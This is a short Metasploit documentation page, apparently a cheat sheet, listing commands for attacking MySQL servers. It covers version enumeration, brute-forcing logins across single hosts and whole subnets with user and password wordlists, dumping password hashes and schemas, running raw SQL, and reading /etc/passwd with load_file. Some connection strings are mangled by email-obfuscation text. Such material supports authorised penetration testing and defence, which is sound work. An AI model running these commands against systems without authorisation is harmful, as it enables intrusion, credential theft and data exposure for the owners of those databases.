Skip to main content

MySQL Pentest using Metasploit

MySQL Enumeration​

use auxiliary/scanner/mysql/mysql_version
run mysql://127.0.0.1

MySQL Login / Bruteforce​

MySQL credentials to validate​

use auxiliary/scanner/mysql/mysql_login
run 'mysql://root: a b c [email protected]'

Re-using MySQL credentials in a subnet​

use auxiliary/scanner/mysql/mysql_login
run cidr:/24:mysql://user:[email protected] threads=50

Using an alternative port​

use auxiliary/scanner/mysql/mysql_login
run mysql://user:[email protected]:2222

Brute-force host with known user and password list:​

use auxiliary/scanner/mysql/mysql_login
run mysql://[email protected] threads=50 pass_file=./wordlist.txt

Brute-force credentials:​

use auxiliary/scanner/mysql/mysql_login
run mysql://192.168.222.1 threads=50 user_file=./users.txt pass_file=./wordlist.txt

Brute-force credentials in a subnet:​

use auxiliary/scanner/mysql/mysql_login
run cidr:/24:mysql://user:[email protected] threads=50
run cidr:/24:mysql://[email protected] threads=50 pass_file=./wordlist.txt

MySQL Dumping​

User and hash dump:

use auxiliary/scanner/mysql/mysql_hashdump
run 'mysql://root: a b c [email protected]'

Schema dump:​

use auxiliary/scanner/mysql/mysql_schemadump
run 'mysql://root: a b c [email protected]'

MySQL Querying​

Execute raw SQL:​

use admin/mysql/mysql_sql
run 'mysql://root: a b c [email protected]' sql='select version()'

Load a file from file system​

use admin/mysql/mysql_sql
run SQL select load_file(\'/etc/passwd\')